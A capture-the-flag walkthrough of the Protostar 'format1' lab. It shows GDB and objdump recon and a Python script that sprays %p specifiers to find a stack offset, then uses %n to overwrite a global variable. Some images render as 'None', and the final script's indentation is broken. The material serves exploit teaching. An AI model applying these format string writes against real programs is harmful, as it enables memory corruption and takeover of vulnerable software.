Format 1 (Format String Basic 1)

The goal of this challenge is to leverage format strings to modify arbitrary memory locations to print the winning statement.

None

Things to note

  • printf(string);: This is the vulnerable function in this code. The printf() will not check whether the supplied inputs expected format strings or not since it is coded to accept any string values. So what we can do is simply to verify if we can leak memory addresses and also write arbitrary code onto the stack ([READ] %p[WRITE] %n).
  • if(target) {: The target variable is what we need to find. Then, by leveraging a Format String vulnerability, we will write the address onto the stack to print out the winning statement by specifying the right offset value.

Disassemble (GDB)

Let's disassemble the binary to see what is doing at the ASM-level:

$ gdb -q format1
Reading symbols from /opt/protostar/bin/format1...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble vuln
None

The program is pretty simple. One interesting thing is that mov eax,ds:0x8049638 moves the following address from the .bss (part of the .data segment) into EAX register.

Below is to dump the binary's headers using objdump:

$ objdump -h /opt/protostar/bin/format1
...(snip)...
23 .data         00000008  08049628  08049628  00000628  2**2
                  CONTENTS, ALLOC, LOAD, DATA
24 .bss          0000000c  08049630  08049630  00000630  2**2
                  ALLOC
...(snip)...

Then, the test eax,eax creates a conditional jump by setting eflags value to ZF (=Zero Flag) if the EAX is equal to "0." If "0," it jumps; otherwise, it continues its execution flow.

Exploit

Initial Recon

As discussed, the vulnerable function is the printf(string). When we supply a random string, it just echoes back:

None

However, if we supply some format string parameters, we get interesting outputs 😮:

None

What this is doing is basically printing out some random addresses in stack memory. But more interesting thing is if we enter enough format string parameters, we can actually find the strings that we enter on the stack.

$ ./format1 $(python -c 'print "AAAA" + "%p|" * 156') && echo
None

To abuse this: (1) Find an offset where we can control → (2) Write an arbitrary code we wish to execute. In this case, we will just supply an address for target variable to print the winning statement.

Finding Offset

Let's write a quick python script to find the offset value:

[exploit.py] - Finding Offset
#!/usr/bin/python
import os
egg = "AAAA"
def desc():
  print('[+] Running Simple Format String Spraying...')
  print('[+] Setting Egg: {0}').format(egg.encode("hex"))
def spraying():
  i = 1
  while i < 200:
    c = int(i)
    p = '/opt/protostar/bin/format1 ' + egg + ("%p" * c) + "%p"
    out = os.popen(p).read()
    s = str(out)
  
    if egg.encode("hex") in s:
      print('[+] Egg found! ...{0}'.format(out[-30:]))
      print('[+] Found Offset: {0}'.format(i))
      break  
    else:
      i += 1
      continue
if __name__ == "__main__":
  desc()
  spraying()

The script should be pretty much self-explanatory. When we run the script, we get the offset for 132.

None

Finding "target" Variable Address

$ objdump -t format1 |grep target
08049638 g     O .bss 00000004              target

The address for the target exists at 0x08049638. Convert the address into the little-endian format = \x38\x96\x04\x08.

Final Exploit

[exploit.py] - Final Exploit
#!/usr/bin/python
import os
egg = "\x38\x96\x04\x08"    <-- Little-endian Formatted "target" 
def desc():
  print('[+] Running Simple Format String Spraying...')
  print('[+] Setting Egg: {0}').format(egg.encode("hex"))
def spraying():
  i = 1
  while i < 200:
    c = int(i)
    p = '/opt/protostar/bin/format1 ' + egg + ("%p" * c) + "%p"
    out = os.popen(p).read()
    s = str(out)
     
    if egg.encode("hex") in s:
      print('[+] Egg found! ...{0}'.format(out[-30:]))
      print('[+] Found Offset: {0}'.format(i))
      break  
    else:
      i += 1
      continue
def win():
  offset = int(132)    <-- Found Offset Value
  p = '/opt/protostar/bin/format1 ' 
  p+= egg 
  p+= ("%p" * offset) 
  p+= "%n"    <-- Write the number of char into pointers
  out = os.popen(p).read()
  s = str(out)
if "target" in s:
    print('[+] Winning Statement: {0}'.format(out[-32:]))
    exit(0) 
  else:
    print('[-] Something Went Wrong...')
    exit(1)
if __name__ == "__main__":
  desc()
  #spraying()
  win()

When we run the script, we get the beautiful winning statement:

None

Thanks for reading!

Next challenge:

  • Format 2 — Format String Exploit: Basic 2
None